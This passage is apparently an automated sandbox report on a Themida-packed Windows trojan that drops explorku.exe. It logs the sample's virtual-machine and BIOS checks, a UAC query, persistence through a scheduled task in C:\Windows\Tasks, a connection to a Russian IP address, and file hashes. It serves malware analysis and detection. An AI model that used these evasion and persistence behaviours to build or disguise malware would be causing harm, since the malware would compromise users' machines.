Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A

Enumerates physical storage devices

Processes

C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe

"C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

Network

Country Destination Domain Proto
RU 5.42.96.141:80 5.42.96.141 tcp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp

Files

memory/4980-1-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-0-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-3-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-5-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-7-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-6-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-4-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/4980-2-0x0000000000E40000-0x0000000001385000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 7effb02684f927f2ae5eff5890303863
SHA1 7bc34e649ca7c1247fec7e101ff72587f491721f
SHA256 5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d
SHA512 bbc93f2b32031a0ad3234ab29be6b8c09b0ae8e12f54ed375055b703d88651d3aa289bca8bfccc72fab18c73bd0b9a75cde298290acc088ae34892e721b2d71e

memory/3940-21-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4980-19-0x0000000000E40000-0x0000000001385000-memory.dmp

memory/3940-26-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-28-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-27-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-25-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-24-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-22-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-23-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-32-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-36-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-37-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-35-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-34-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-33-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-31-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-30-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/2088-38-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/3940-39-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-48-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-50-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-52-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-51-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-49-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-47-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-46-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/1776-53-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-62-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-65-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-67-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-66-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-64-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-63-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-61-0x0000000000670000-0x0000000000BB5000-memory.dmp

memory/4472-69-0x0000000000670000-0x0000000000BB5000-memory.dmp